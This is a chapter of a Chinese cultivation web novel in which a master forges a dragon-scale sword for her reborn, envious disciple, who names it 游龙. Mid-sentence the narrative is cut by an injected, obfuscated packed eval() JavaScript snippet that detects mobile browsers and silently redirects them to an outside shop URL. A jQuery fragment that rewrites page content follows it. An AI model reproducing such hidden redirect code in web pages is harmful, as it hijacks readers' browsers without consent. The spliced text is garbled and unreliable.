两月时间如白驹过隙。
陆扩学完第三重春生剑法时,正是门派大比前七天。各峰峰主已推举出合适的弟子,钱珠亦递上名帖,让陆扩代表商允一脉,以开光期弟子身份参与大比。
大比在即,钱珠命陆扩停下修习,专心调养身体,以防不测。丹药如流水一般送进了陆扩房中,吃得他面露难色,不得不向钱珠提出异议。
“师尊,”丹药的苦涩令陆扩眉头皱成了一团,“过犹不及啊。”
钱珠这才意识到自己正急于求成,给陆扩塞了太多丹药。她担心他不能在门派大比上大放异彩,无法为他今后的修行之路吸引更多目光。
……目光?钱珠突然有些茫然。她再仔细一想,似乎要成为天下第一,有没有他人的目光没那么重要。
可在冥冥中,仿佛有一种意识告诉她,若是谁日后会成为绝无仅有的强者,那么从他踏入那条路开始,就会吸引所有人的目光。一介乞儿翻身成为灵真新秀,怎么看都是强者逆袭之路的开始……
灵真大陆有过这样的先例吗?钱珠在脑中一顿搜刮,得出的结论是没有。如果没有这样的先例,她又怎么会觉得这是一条必经路?
她深吸一口气,又缓缓将它吐了出来。那些荒唐的想法随之弃于脑后,钱珠低头看了看手中的丹药,毫不犹豫地将它放回了匣子里。
“抱歉,是我之失。”她觉得陆扩面上已隐隐露出菜色,因而心中有愧,“这些丹药你不必再吃了。”
陆扩低垂下眉眼,话里透着些许轻飘飘的沮丧:“是弟子辜负了师尊一片心意……”
这倒没有。其实只要他最后能印证第五沄的谶言,顺道带给她一个解除禁制的机缘,那无论他做了什么,都不算是辜负了她。
当然,这样的话她自然无法说出口,因此钱珠只轻轻宽慰道:“没有,你不必挂怀。”
她环顾四周,想找点话头跳过这尴尬的气氛,余光扫过墙上挂着的木剑,钱珠眼睛亮了一瞬,随即问道:“这剑你用得可还顺手?”
应该是顺手的。若是不顺手,陆扩的剑术也不会精进这么快。可若不这么问,她实在不知道该怎么进行后一步的交流。
果然,陆扩回头看了一眼墙上的剑,点头应道:“顺手的。”
“嗯,好。”钱珠顾左右而言他,丝毫不在乎陆扩回了什么话,自顾自说道,“这剑已经旧了,木胎也不适合进行比试,我为你锻了一把新剑。”
早在一月前,钱珠就注意到了无根木剑的不足。从前她用它的次数不多,修习也算不上废寝忘食,隔三差五的练习,无论是对她还是对它来说都恰如其分。
但如今陆扩日日用它,难免会有磨损。归根结底,它也只是一柄木胎之剑,不如金胎耐用,亦无法修复如初。若陆扩带它去大比,对上那些弟子的十八般法器,不仅无所助力,反而会拖累于他。
秦门绝凌峰以锻造兵器闻名于灵真。钱珠前去求见了绝凌峰峰主严湘,向她讨要了一份鉅铁。鉅铁是灵真所能寻到的最坚硬的金胎,作为交换,钱珠给严湘带去了许多用于调养身心的丹药。
在绝凌峰的炼金炉中,钱珠用那份鉅铁锻造了一把长剑。灵真修士锻剑时,常常会炼入一些宝物,以求将其力量附着于剑中。而钱珠则拿出了在藏书阁里找到的锦囊,一手拉开抽绳,将里面的东西通通倒进了炼金炉。
火光忽而大盛,方才还红通通的焰火,转眼变成了浓郁的紫色。紫火烧得越来越旺,燃起的星子伴随阵阵香气冲天而去,竟在半空中化为一条苍色龙形。
钱珠曾随师祖前往西山神域历练,在极寒雪域中偶遇过一条苍青色的真龙。真龙似乎在休憩,庞大的躯体匍匐在雪山间,若不是其鳞片闪着若隐若现的五彩光芒,它几乎要与雪山融为一体。
那时的她仰望着那条巨大又美丽的真龙,问随行的师祖:“师祖,我观古籍有言,龙肉与灵芝烹煮,食之可白日飞升,这是真的吗?”
师祖猛敲了一顿她的头,令她的脑袋嗡嗡作响,随后笑骂道:“你这滑头!古籍里还说,吃龙肉要遭龙煞,生出鳞甲须发赤红,恶者暴毙,或引天雷,你怎么只记一家之言?”
“你要吃了它,可是要遭天谴的!”
钱珠一想到自己手上脚上都长出鳞片,好不容易养长的头发连带着汗毛都要变成红色,就不由得打了个寒颤。她再度看向那条巨龙,眼中多了丝敬畏:“那它为何会在这呢?”
“它是春神句芒的坐骑,应是受了伤才落入此地,难怪今年春日来得这般迟。”师祖握着剑柄的手紧了又松,最后颓然放下,放弃道,“罢了,此间云消雾霁,乘云飞龙如今也与蚯蚓同,放它一条生路,也算我做了善事。”
钱珠一脸震惊地看向自己的师祖。她没想到师祖犹豫那么久,竟然是生出了想杀真龙的心。可师祖明明才向她指出不轨之心的要害,怎么眨眼间自己也起了歹念?
不过师祖向来如此胆大妄为。她刚平复心情,眼睛却忽然被什么东西闪了一下。钱珠揉了揉眼睛,抬头望去,随即被眼前的一幕惊在了原地——
漫天斑斓的苍青色鳞片,如雪一般朝她涌来。
她在那一刻无比笃定,这是那条真龙为报不杀之恩的谢礼。
身旁的师祖一边手忙脚乱地在储物袋里掏着,一边大叫道:“神龙等一等,我拿个袋子!”
后来这袋龙鳞被师祖扔在了藏书阁的角落里。句芒主木,座下坐骑自然归为木系,匿园之内有木系灵根的只有师父,可师父早早便有了师祖为他锻的本命剑。师祖那时还开玩笑道:“为弟子锻剑是匿园的规矩,这神赐就留给小阿珠了,你以后可要找个木灵根的弟子,才不负那神龙拔的半身鳞呀。”
谁知师祖一语成谶,她现在还真收了个木灵根的弟子。
炼金炉中的紫火还在熊熊燃烧,钱珠掐了个诀,设罩将其扣入其中。只需再等上半月,那把剑便能锻成,算算日子,也正好是陆扩去大比之前。
炼了龙鳞的宝剑出炉时,绝凌峰的弟子都跑来围观,两条青龙在锻房的屋脊上游戏,纠缠着消散于天际,引起弟子们的阵阵惊呼。严湘越过人群走到钱珠面前,瞧着那把泛着冷冽青光的宝剑,甚是稀奇道:“竟是龙鳞呀,这把剑,是为你新收的弟子所做?”
钱珠亦惊喜于锻剑的成功,眉眼弯弯回道:“正是。”
严湘慈爱地看着她,伸手为她揩去侧脸蹭上的黑灰,回身招手,让周围的弟子为她让出一条路来。
“去吧。”她声音温柔,和煦如风,“去将这剑交予那个有福气的孩子。”
长剑从朴实无华的剑鞘中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17925126|213518||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
拔出时,龙鳞微光在剑身中隐隐若现,剑柄缠着米色的绦子,坠了一条珊瑚色的长穗,穗上还编进了一枚阳绿玉环。钱珠掂量了一下长剑的重量,随后又插回剑鞘,一并递给了陆扩。
“试一试,看看它顺手吗?”
昨夜刚下过雨,第五沄曾在院中种下的花吸饱了水分,此刻正迎着熹微晨光竞相开放。日光蒸腾出潮气,潮气又裹挟着花香,满满当当地盈在院子里。
忽有寒光割开这柔和之气,将满院香气搅起,剑风天然携着龙涎香,令这杂糅的清晨更加馥郁。梨花早早谢了,树上挂着青涩的果,未成熟的果实披挂了露水,被剑气震荡,那些莹润的珠子便争先恐后地落了下来——
“叮——”
水珠击打在剑身之上的声音,能悠扬着传得很远。钱珠微微眯起眼,感受着这迟来的浓厚春意。
待陆扩剑法行毕,她方如梦初醒,正色肯定道:“负虚,你的剑法又精进了。”
陆扩紧握着剑,谦逊地向她谢道:“多谢师尊赐剑。”
以最坚金胎,炼虽属木却同样坚不可摧的龙鳞,这把剑完全适用于陆扩的修行。比之无根木剑,此剑更为锋利坚韧,劈斩金石不费吹灰之力。
就算是与上一世的本命剑相比,它也有过之而无不及。陆扩抚摸着冰凉的剑身,心中多了几分惊讶。
似是真龙之鳞……即便曾登临天下之巅,他也未曾见过真龙,亦从未得到过真龙身上的任何物品。这小小的秦门,这看起来已经毫无登仙可能的人,怎么就会有如此奇遇?
莫非她是装的……?
这想法一出,陆扩自己倒先在心底笑了起来。她可以说谎,可她体内的源气不会说谎。这些日子为了教导他,她频繁引力,属于她的源气在一日日枯竭,这变化连现在的他都能看出来。
可她为什么又这么好运。观匿园陈设,她的师祖师父对她相当爱护,就连幼时玩耍的风筝拨浪鼓都一丝不苟地挂在檐下,还妥善地做了保护。修行更不必说,什么丹药、古籍、法宝,藏书阁和炼室堆得挤不下,连她随身的那把重剑,都透着蛟龙的凶气。
真叫人嫉妒。
意识到自己胸中翻起酸涩,理清那竟是名为嫉妒的情绪时,陆扩的心跳慢了一拍。
他曾是灵真炙手可热的天娇,当之无愧的天下第一,修仙之路顺得不能再顺,此刻竟然在嫉妒一个哪里都不如他的人。他看向手中那把剑,竟觉得有些讽刺。
原来这样的宝物,是不需要和豺狼虎豹明争暗斗互相撕咬,最后胜者才能收入囊中的,只需要这么轻而易举就可以得到。
为什么呢?就只因他是她的弟子,所以这些宝物便可以通通给他?
那她不如柳匀卿会教习弟子。只有强者,才配在他手中得到宝物,获取资源。这样的培养方式让他座下弟子尽是翘楚,以至于能够和掌门分庭抗礼……
他试图说服自己,可耳边却传来钱珠清脆的嗓音:“负虚,为它起个名字吧。”
这声音打断了他的思绪,令他有些烦躁。但晨露侵袭了他的单衣,一阵风过,清凉微寒,又削去了那些莫名的情绪。
“游龙。”
他指尖擦上剑刃,以自己的血为它开光,也由此缔结本命:“乘雾行剑,如龙在渊,便唤它游龙。”